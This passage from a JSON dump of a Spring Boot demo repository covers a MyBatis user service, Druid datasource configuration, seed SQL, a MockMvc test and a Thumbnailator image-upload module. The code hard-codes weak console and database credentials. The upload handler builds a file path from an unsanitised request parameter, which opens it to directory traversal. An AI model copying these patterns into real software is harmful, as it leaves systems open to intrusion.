return mapper.deleteByPrimaryKey(key);\n    }\n\n    @Override\n    public int updateAll(T entity) {\n        //说明：根据主键更新实体全部字段，null值会被更新\n        return mapper.updateByPrimaryKey(entity);\n    }\n\n    @Override\n    public int updateNotNull(T entity) {\n        //根据主键更新属性不为null的值\n        return mapper.updateByPrimaryKeySelective(entity);\n    }\n\n    @Override\n    public List<T> selectByExample(Object example) {\n        //说明：根据Example条件进行查询\n        //重点：这个查询支持通过Example类指定查询列，通过selectProperties方法指定查询列\n        return mapper.selectByExample(example);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/java/demo/springboot/test/service/impl/UserServiceImpl.java",
    "content": "package demo.springboot.test.service.impl;\n\nimport java.util.Date;\nimport java.util.List;\n\nimport org.springframework.stereotype.Repository;\n\nimport demo.springboot.test.domain.User;\nimport demo.springboot.test.service.UserService;\nimport tk.mybatis.mapper.entity.Example;\n\n@Repository(\"userService\")\npublic class UserServiceImpl extends BaseService<User> implements UserService {\n\n\t@Override\n\tpublic User findByName(String userName) {\n\t\tExample example = new Example(User.class);\n\t\texample.createCriteria().andCondition(\"username=\", userName);\n\t\tList<User> userList = this.selectByExample(example);\n\t\tif (userList.size() != 0)\n\t\t\treturn userList.get(0);\n\t\telse\n\t\t\treturn null;\n\t}\n\n\t@Override\n\tpublic void saveUser(User user) {\n\t\t//user.setId(this.getSequence(\"seq_user\"));\n\t\tuser.setCreateTime(new Date());\n\t\tthis.save(user);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/resources/application.yml",
    "content": "server:\n  context-path: /web\n\nspring:\n  datasource:\n    druid:\n      # 数据库访问配置, 使用druid数据源\n      type: com.alibaba.druid.pool.DruidDataSource\n#      driver-class-name: oracle.jdbc.driver.OracleDriver\n#      url: jdbc:oracle:thin:@localhost:1521:ORCL\n#      username: test\n#      password: 123456\n      driver-class-name: com.mysql.jdbc.Driver\n      url: jdbc:mysql://127.0.0.1:3306/test666?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&useSSL=false&useOldAliasMetadataBehavior=true\n      username: root\n      password:\n      # 连接池配置\n      initial-size: 5\n      min-idle: 5\n      max-active: 20\n      # 连接等待超时时间\n      max-wait: 30000\n      # 配置检测可以关闭的空闲连接间隔时间\n      time-between-eviction-runs-millis: 60000\n      # 配置连接在池中的最小生存时间\n      min-evictable-idle-time-millis: 300000\n      validation-query: select '1' from dual\n      test-while-idle: true\n      test-on-borrow: false\n      test-on-return: false\n      # 打开PSCache，并且指定每个连接上PSCache的大小\n      pool-prepared-statements: true\n      max-open-prepared-statements: 20\n      max-pool-prepared-statement-per-connection-size: 20\n      # 配置监控统计拦截的filters, 去掉后监控界面sql无法统计, 'wall'用于防火墙\n      filters: stat,wall\n      # Spring监控AOP切入点，如x.y.z.service.*,配置多个英文逗号分隔\n      aop-patterns: demo.springboot.test.servie.*\n      \n    \n      # WebStatFilter配置\n      web-stat-filter:\n        enabled: true\n        # 添加过滤规则\n        url-pattern: /*\n        # 忽略过滤的格式\n        exclusions: '*.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*'\n      \n      # StatViewServlet配置 \n      stat-view-servlet:\n        enabled: true\n        # 访问路径为/druid时，跳转到StatViewServlet\n        url-pattern: /druid/*\n        # 是否能够重置数据\n        reset-enable: false\n        # 需要账号密码才能访问控制台\n        login-username: druid\n        login-password: druid123\n        # IP白名单\n        # allow: 127.0.0.1\n        #　IP黑名单（共同存在时，deny优先于allow）\n        # deny: 192.168.1.218\n      \n      # 配置StatFilter\n      filter: \n        stat: \n          log-slow-sql: true\n\nmybatis:\n  config-location: classpath:config/mybatis-config.xml\n  # type-aliases扫描路径\n  type-aliases-package: demo.springboot.test.domain\n  # mapper xml实现扫描路径\n  mapper-locations: classpath:mapper/*.xml\n  property:\n    order: BEFORE\n\n\n#mappers 多个接口时逗号隔开\nmapper:\n  mappers: demo.springboot.test.config.MyMapper\n  not-empty: false\n  identity: oracle\n\n#pagehelper\npagehelper: \n  helperDialect: oracle\n  reasonable: true\n  supportMethodsArguments: true\n  params: count=countSql"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/resources/config/mybatis-config.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE configuration\nPUBLIC \"-//mybatis.org//DTD Config 3.0//EN\"\n\"http://mybatis.org/dtd/mybatis-3-config.dtd\">\n<configuration>\n\t<settings>\n\t\t<!--解决插入null的时候报错问题-->\n\t\t<setting name=\"jdbcTypeForNull\" value=\"NULL\"/>\n\t</settings>\n</configuration>"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/main/resources/init.sql",
    "content": "/*\nSQLyog Community v13.1.7 (64 bit)\nMySQL - 10.4.24-MariaDB : Database - test666\n*********************************************************************\n*/\n\n/*!40101 SET NAMES utf8 */;\n\n/*!40101 SET SQL_MODE=''*/;\n\n/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\n/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\n/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\n/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\n/*Table structure for table `t_user1` */\n\nDROP TABLE IF EXISTS `t_user1`;\n\nCREATE TABLE `t_user1` (\n  `ID` int(11) NOT NULL AUTO_INCREMENT,\n  `USERNAME` varchar(20) NOT NULL,\n  `PASSWD` varchar(128) NOT NULL,\n  `CREATE_TIME` date DEFAULT NULL,\n  `STATUS` char(1) NOT NULL,\n  KEY `ID` (`ID`)\n) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4;\n\n/*Data for the table `t_user1` */\n\ninsert  into `t_user1`(`ID`,`USERNAME`,`PASSWD`,`CREATE_TIME`,`STATUS`) values \n(2,'tester','243e29429b340192700677d48c09d992','2017-12-11','1'),\n(1,'mrbird','42ee25d1e43e9f57119a00d0a39e5250','2017-12-11','1');\n\n/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\n/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\n/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\n/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_testing/src/test/java/demo/springboot/test/UserControllerTest.java",
    "content": "package demo.springboot.test;\n\nimport javax.servlet.http.Cookie;\n\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.http.MediaType;\nimport org.springframework.mock.web.MockHttpSession;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.test.web.servlet.MockMvc;\nimport org.springframework.test.web.servlet.request.MockMvcRequestBuilders;\nimport org.springframework.test.web.servlet.result.MockMvcResultHandlers;\nimport org.springframework.test.web.servlet.result.MockMvcResultMatchers;\nimport org.springframework.test.web.servlet.setup.MockMvcBuilders;\nimport org.springframework.transaction.annotation.Transactional;\nimport org.springframework.web.context.WebApplicationContext;\n\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport com.jayway.jsonpath.JsonPath;\n\nimport demo.springboot.test.domain.User;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class UserControllerTest {\n\n\tprivate MockMvc mockMvc;\n\tprivate MockHttpSession session;\n\t\n\t@Autowired\n    private WebApplicationContext wac;\n\t\n\t@Autowired\n\tObjectMapper mapper;\n\n\t\n\t@Before\n    public void setupMockMvc(){\n\t\tmockMvc = MockMvcBuilders.webAppContextSetup(wac).build();\n\t\tsession = new MockHttpSession();\n\t\tUser user =new User();\n\t\tuser.setUsername(\"Dopa\");\n\t\tuser.setPasswd(\"ac3af72d9f95161a502fd326865c2f15\");\n\t    session.setAttribute(\"user\",user); \n    }\n\t\n\t@Test\n\t@Transactional\n\tpublic void test() throws Exception {\n//\t\tmockMvc.perform(\n//\t\t\t\t MockMvcRequestBuilders.get(\"/user/{userName}\", \"scott\")\n//\t\t\t\t.contentType(MediaType.APPLICATION_JSON_UTF8))\n//\t\t.andExpect(MockMvcResultMatchers.status().isOk())\n//\t\t.andExpect(MockMvcResultMatchers.jsonPath(\"$.username\").value(\"scott\"))\n//\t\t.andDo(MockMvcResultHandlers.print());\n\t\t\n//\t\tString jsonStr = \"{\\\"username\\\":\\\"Dopa\\\",\\\"passwd\\\":\\\"ac3af72d9f95161a502fd326865c2f15\\\",\\\"status\\\":\\\"1\\\"}\";\n\t\t\n\t\tUser user = new User();\n\t\tuser.setUsername(\"Dopa\");\n\t\tuser.setPasswd(\"ac3af72d9f95161a502fd326865c2f15\");\n\t\tuser.setStatus(\"1\");\n\t\t\n\t\tString userJson = mapper.writeValueAsString(user);\n\t\t\n\t\t\n//\t\tmockMvc.perform(MockMvcRequestBuilders.post(\"/user/save\").content(jsonStr.getBytes()));\n\t\t\n\t\tmockMvc.perform(\n\t\t\t\tMockMvcRequestBuilders.post(\"/user/save\")\n\t\t\t\t.contentType(MediaType.APPLICATION_JSON_UTF8)\n\t\t\t\t.content(userJson.getBytes()))\n\t\t.andExpect(MockMvcResultMatchers.status().isOk())\n\t\t.andDo(MockMvcResultHandlers.print());\n\t\t\n//\t\tmockMvc.perform(MockMvcRequestBuilders.get(\"/hello?name={name}\",\"mrbird\"));\n//\t\tmockMvc.perform(MockMvcRequestBuilders.post(\"/user/{id}\", 1));\n//\t\tmockMvc.perform(MockMvcRequestBuilders.fileUpload(\"/fileupload\").file(\"file\", \"文件内容\".getBytes(\"utf-8\")));\n//\t\tmockMvc.perform(MockMvcRequestBuilders.get(\"/hello\").param(\"message\", \"hello\"));\n//\t\tmockMvc.perform(MockMvcRequestBuilders.get(\"/hobby/save\").param(\"hobby\", \"sleep\", \"eat\"));\n\t\t\n//\t\tMultiValueMap<String, String> params = new LinkedMultiValueMap<String, String>();\n//\t\tparams.add(\"name\", \"mrbird\");\n//\t\tparams.add(\"hobby\", \"sleep\");\n//\t\tparams.add(\"hobby\", \"eat\");\n//\t\tmockMvc.perform(MockMvcRequestBuilders.get(\"/hobby/save\").params(params));\n//\t\tmockMvc.perform(MockMvcRequestBuilders.get(\"/index\").sessionAttr(name, value));\n//\t\tmockMvc.perform(MockMvcRequestBuilders.get(\"/index\").cookie(new Cookie(name, value)));\n//\t\tmockMvc.perform(MockMvcRequestBuilders.get(\"/index\").contentType(MediaType.APPLICATION_JSON_UTF8));\n//\t\tmockMvc.perform(MockMvcRequestBuilders.get(\"/user/{id}\", 1).accept(MediaType.APPLICATION_JSON));\n//\t\tmockMvc.perform(MockMvcRequestBuilders.get(\"/user/{id}\", 1).header(name, values));\n\t\t\n//\t\tmockMvc.perform(MockMvcRequestBuilders.get(\"/index\"))\n//\t\t.andDo(MockMvcResultHandlers.print());\n\t\t\n\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thumbnailator/README.en.md",
    "content": "# SpringBoot集成thumbnailator图片压缩\n\n#### Description\nSpringBoot集成thumbnailator图片压缩\n\n#### Software Architecture\nSoftware architecture description\n\n#### Installation\n\n1.  xxxx\n2.  xxxx\n3.  xxxx\n\n#### Instructions\n\n1.  xxxx\n2.  xxxx\n3.  xxxx\n\n#### Contribution\n\n1.  Fork the repository\n2.  Create Feat_xxx branch\n3.  Commit your code\n4.  Create Pull Request\n\n\n#### Gitee Feature\n\n1.  You can use Readme\\_XXX.md to support different languages, such as Readme\\_en.md, Readme\\_zh.md\n2.  Gitee blog [blog.gitee.com](https://blog.gitee.com)\n3.  Explore open source project [https://gitee.com/explore](https://gitee.com/explore)\n4.  The most valuable open source project [GVP](https://gitee.com/gvp)\n5.  The manual of Gitee [https://gitee.com/help](https://gitee.com/help)\n6.  The most popular members  [https://gitee.com/gitee-stars/](https://gitee.com/gitee-stars/)\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thumbnailator/README.md",
    "content": "# SpringBoot集成thumbnailator图片压缩\n\n#### 介绍\nSpringBoot集成thumbnailator图片压缩\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thumbnailator/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.6.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>com.fit</groupId>\n    <artifactId>springboot_thumbnailator</artifactId>\n    <version>0.0.1-SNAPSHOT</version>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <!-- SpringBoot web 组件 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- SpringBoot集成thumbnailator图片压缩 -->\n        <dependency>\n            <groupId>net.coobird</groupId>\n            <artifactId>thumbnailator</artifactId>\n            <version>0.4.8</version>\n        </dependency>\n        <!--SpringBoot集成swagger2-->\n        <dependency>\n            <groupId>io.springfox</groupId>\n            <artifactId>springfox-swagger2</artifactId>\n            <version>2.6.1</version>\n        </dependency>\n        <!--SpringBoot集成swagger2-ui-->\n        <dependency>\n            <groupId>io.springfox</groupId>\n            <artifactId>springfox-swagger-ui</artifactId>\n            <version>2.6.1</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.junit.vintage</groupId>\n                    <artifactId>junit-vintage-engine</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n    <repositories>\n        <repository>\n            <id>public</id>\n            <name>aliyun nexus</name>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <releases>\n                <enabled>true</enabled>\n            </releases>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>public</id>\n            <name>aliyun nexus</name>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <releases>\n                <enabled>true</enabled>\n            </releases>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thumbnailator/src/main/java/com/fit/imgzip/ImgzipApplication.java",
    "content": "package com.fit.imgzip;\n\nimport org.springframework.boot.Banner;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * 图片上传公有插件启动入口\n */\n@SpringBootApplication\npublic class ImgzipApplication {\n    public static void main(String[] args) {\n        // TODO Auto-generated method stub\n        SpringApplication springApplication = new SpringApplication(ImgzipApplication.class);\n        springApplication.setBannerMode(Banner.Mode.CONSOLE);\n        springApplication.run(args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thumbnailator/src/main/java/com/fit/imgzip/config/ImgZipConfig.java",
    "content": "package com.fit.imgzip.config;\n\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Component;\n\n/**\n * 图片配置参数\n */\n@Component\npublic class ImgZipConfig {\n\n    //图片默认上传服务器地址\n    public static String imagePath;\n    //图片压缩比例\n    public static Double defaultScale;\n    //图片上传默认项目名称\n    public static String name;\n\n    @Value(\"${imgzip.img.path}\")\n    public void setImagePath(String $imagePath) {\n        this.imagePath = $imagePath;\n    }\n    @Value(\"${imgzip.img.default.scale}\")\n    public void setDefaultScale(Double $defaultScale) {\n        this.defaultScale = $defaultScale;\n    }\n    @Value(\"${imgzip.img.name}\")\n    public void setName(String $name) {\n        this.name = $name;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thumbnailator/src/main/java/com/fit/imgzip/config/Swagger2.java",
    "content": "package com.fit.imgzip.config;\n\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\n@Configuration\n@EnableSwagger2\npublic class Swagger2 {\n    /**\n     * 通过 createRestApi函数来构建一个DocketBean\n     * 函数名,可以随意命名,喜欢什么命名就什么命名\n     */\n    @Bean\n    public Docket createRestApi() {\n        return new Docket(DocumentationType.SWAGGER_2)\n                .apiInfo(apiInfo())//调用apiInfo方法,创建一个ApiInfo实例,里面是展示在文档页面信息内容\n                .select()\n                .apis(RequestHandlerSelectors.basePackage(\"com.fit.imgzip.controller\"))\n                .paths(PathSelectors.any())\n                .build();\n    }\n    //构建 api文档的详细信息函数\n    private ApiInfo apiInfo() {\n        return new ApiInfoBuilder()\n                //页面标题\n                .title(\"图片上传工具类 API\")\n                .version(\"1.0\")\n                //描述\n                .description(\"imgzip 图片上传 API\")\n                .build();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thumbnailator/src/main/java/com/fit/imgzip/controller/ImgZipController.java",
    "content": "package com.fit.imgzip.controller;\n\nimport com.fit.imgzip.util.ImageUtil;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiParam;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.multipart.MultipartFile;\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\n/**\n * 图片上传处理类\n * @author zlzhaoe\n */\n@Controller\npublic class ImgZipController {\n\t@ApiOperation(value = \"图片上传\",notes = \"多项目图片上传工具类\",httpMethod = \"POST\")\n\t@RequestMapping(value=\"/img_upload_compress\")\n\t@ResponseBody\n\tpublic Map<String, Object> img_upload_compress(\n\t\t\t@ApiParam(name = \"file\",value=\"文件（图片）\",required = true) @RequestParam(value = \"file\") MultipartFile file,\n\t\t\t@ApiParam(name = \"path\",value=\"项目名称\")@RequestParam(value = \"path\",required = false)String path,\n\t\t\t@ApiParam(name = \"scale\",value=\"图片压缩比例:0.0~1.0\")@RequestParam(value = \"scale\",required = false)Double scale) throws IOException {\n\t\tMap<String, Object> result = new HashMap<>();\n\t\tString resultImagePath = ImageUtil.imgUploadCompress(file, path,scale);\n\t\tif(resultImagePath.equals(\"0\")){\n\t\t\tresult.put(\"code\", \"0\");\n\t\t\tresult.put(\"msg\", \"上传失败,后端异常！\");\n\t\t}else if(resultImagePath.equals(\"-1\")){\n\t\t\tresult.put(\"code\", \"-1\");\n\t\t\tresult.put(\"msg\", \"非法图片格式！\");\n\t\t}else{\n\t\t\tresult.put(\"code\", \"1\");\n\t\t\tresult.put(\"msg\", resultImagePath);\n\t\t}\n\t\treturn result;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thumbnailator/src/main/java/com/fit/imgzip/util/ImageUtil.java",
    "content": "package com.fit.imgzip.util;\n\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.IOException;\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.UUID;\n\nimport javax.imageio.ImageIO;\n\nimport com.fit.imgzip.config.ImgZipConfig;\nimport net.coobird.thumbnailator.Thumbnails;\n\nimport org.springframework.web.multipart.MultipartFile;\n\n\n/**\n * 图片压缩工具类\n *\n * @author zlzhaoe\n * 2020-03-30 15:31\n **/\npublic class ImageUtil {\n\tpublic static String imgUploadCompress(MultipartFile multipartFile,String path,Double scale) throws IOException {\n\t\tif(!checkImage(multipartFile)){\n\t\t\treturn \"-1\";//图片非法--非图片格式\n\t\t}\n\t\tif(path == null || path.trim().equals(\"\")){\n\t\t\tpath = ImgZipConfig.name;// 如果没有传默认项目名称，走默认配置\n\t\t}\n\t\tif(scale == null){\n\t\t\tscale = ImgZipConfig.defaultScale;// 如果没有传默认项目名称，走默认配置\n\t\t}\n\t\tif(scale>1||scale<=0){\n\t\t\tscale = ImgZipConfig.defaultScale;// 如果压缩比例非法，走默认配置\n\t\t}\n\t\t//String origFilename = multipartFile.getOriginalFilename(); // 名称,服务器的原因，有时候会导致乱码\n\t\tString origFilename = UUID.randomUUID().toString()+getFileExtension(multipartFile);//图片名称改为UUID\n\t\tString imagesPath = createFileBySysTime(path+\"/\");\n\t\tString newPath = imagesPath+\"/\"+origFilename;\n\t\tFile dest = new File(ImgZipConfig.imagePath+newPath); //图片地址\n\t\ttry {\n\t\t\t// 压缩并处理图片\n\t\t\tThumbnails.of(multipartFile.getInputStream()).scale(scale).toFile(dest);\n\t\t\treturn newPath;//移除无用拼接\n\t\t} catch (IOException e) {\n\t\t\ttry {\n\t\t\t\t// 上传失败，利用springMVC自带上传方式\n\t\t\t\tmultipartFile.transferTo(dest);\n\t\t\t\treturn newPath;\n\t\t\t} catch (IOException e1) {\n\t\t\t\te1.printStackTrace();\n\t\t\t\treturn \"0\";\n\t\t\t}\n\t\t}\n\t}\n\t /**\n\t  * 根据时间生成文件夹\n\t  * @param path\n\t  * @return\n\t * @throws IOException \n\t  */\n    private static String createFileBySysTime(String path) throws IOException {\n        // 1. 读取系统时间\n        Calendar calendar = Calendar.getInstance();\n        Date time = calendar.getTime();\n        // 2. 格式化系统时间\n        SimpleDateFormat format = new SimpleDateFormat(\"yyyy-MM-dd\");\n        String fileName = format.format(time); //获取系统当前时间并将其转换为string类型,fileName即文件名\n        // 3. 创建文件夹\n        String newPath = path +fileName;\n        File file = new File(ImgZipConfig.imagePath+newPath);\n        //如果文件目录不存在则创建目录\n        if (!file.exists()) {\n            if (!file.mkdir()) {\n                System.out.println(\"当前路径不存在，创建创建路径\");\n                file.mkdirs();\n            }\n        }\n        System.out.println(\"创建成功\" + file.toString());\n        return newPath;\n    }\n    /**\n     * 获取文件后缀\n     * @param cFile\n     * @return\n     */\n\tprivate static String getFileExtension(MultipartFile cFile) {\n\t\tString originalFileName = cFile.getOriginalFilename();\n\t\treturn originalFileName.substring(originalFileName.lastIndexOf(\".\"));\n\t}\n\t/**\n\t * 校验图片是否为图片格式\n\t * @param multipartFile\n\t */\n\tprivate static boolean checkImage(MultipartFile multipartFile){\n\t\ttry {\n\t\t\tBufferedImage bi = ImageIO.read(multipartFile.getInputStream());\n\t\t\tif(bi == null){ \n\t\t\t\treturn false;\n\t\t\t}\n\t\t} catch (IOException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn true;\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_thumbnailator/src/main/resources/application.properties",
    "content": "#˿\nserver.port=8099\n##ͼƬϴС\nspring.servlet.multipart.max-file-size=200MB\nspring.servlet.multipart.max-request-size=200MB\n##ͼƬϴ·\nimgzip.img.path=F:/photo/test/\n##ͼƬѹ\nimgzip.img.default.scale=0.5d\n##ͼƬĬĿ\nimgzip.img.name=dingdongxueche"
  },
  {
    "path": "jun_springboot_plugin/springboot_thumbnailator/src/main/resources/banner.txt",
    "content": "Spring Boot Version:${spring-boot.version}\n////////////////////////////////////////////////////////////////////\n//                          _ooOoo_                               //\n//                         o8888888o                              //\n//                         88\" . \"88                              //\n//                         (| ^_^ |)                              //\n//                         O\\  =  /O                              //\n//                      ____/`---'\\____                           //\n//                    .'  \\\\|     |//  `.                         //\n//                   /  \\\\|||  :  |||//  \\                        //\n//                  /  _||||| -:- |||||-  \\                       //\n//                  |   | \\\\\\  -  /// |   |                       //\n//                  | \\_|  ''\\---/''  |   |                       //\n//                  \\  .-\\__  `-`  ___/-. /                       //\n//                ___`. .'  /--.--\\  `. . ___                     //\n//              .\"\" '<  `.___\\_<|>_/___.'  >'\"\".                  //\n//            | | :  `- \\`.;`\\ _ /`;.`/ - ` : | |                 //\n//            \\  \\ `-.   \\_ __\\ /__ _/   .-` /  /                 //\n//      ========`-.____`-.___\\_____/___.-`____.-'========         //\n//                           `=---='                              //\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        //\n//             佛祖保佑       永不宕机      永无BUG               //\n////////////////////////////////////////////////////////////////////"
  },
  {
    "path": "jun_springboot_plugin/springboot_thumbnailator/src/test/java/com/fit/imgzip/ImgzipApplicationTests.java",
    "content": "package com.fit.imgzip;\n\nimport org.junit.jupiter.api.Test;\nimport org.springframework.boot.test.context.SpringBootTest;\n\n@SpringBootTest\nclass ImgzipApplicationTests {\n\n    @Test\n    void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/.gitignore",
    "content": "# 此为注释– 将被Git 忽略\n# /结尾表示是目录，忽略目录和目录下的所有件\n# /开头表示根目录，否则是.gitignore的相对目录\n# !开头表示反选\n.idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/README.md",
    "content": "## 集成Thymeleaf构建Web应用\n\n这是一个最基本的SpringMVC工程，使用 Thymeleaf 3 作为模板引擎。\n\n[Thymeleaf 3 官方教程](http://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html)\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_thymeleaf</artifactId>\n\t<version>1.0</version>\n    <packaging>jar</packaging>\n\n    <description>集成Thymeleaf构建Web应用</description>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.14</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.springframework.boot</groupId>\n                    <artifactId>spring-boot-starter-tomcat</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jetty</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.6.1</version>\n                <configuration>\n                    <!--<proc>none</proc>-->\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-surefire-plugin</artifactId>\n                <version>2.20</version>\n                <configuration>\n                    <skip>true</skip>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <executions>\n                </executions>\n            </plugin>\n        </plugins>\n\n        <resources>\n            <resource>\n                <directory>src/main/resources</directory>\n            </resource>\n            <resource>\n                <directory>src/main/java</directory>\n                <includes>\n                    <include>**/*.xml</include>\n                </includes>\n            </resource>\n        </resources>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_thymeleaf/run.sh",
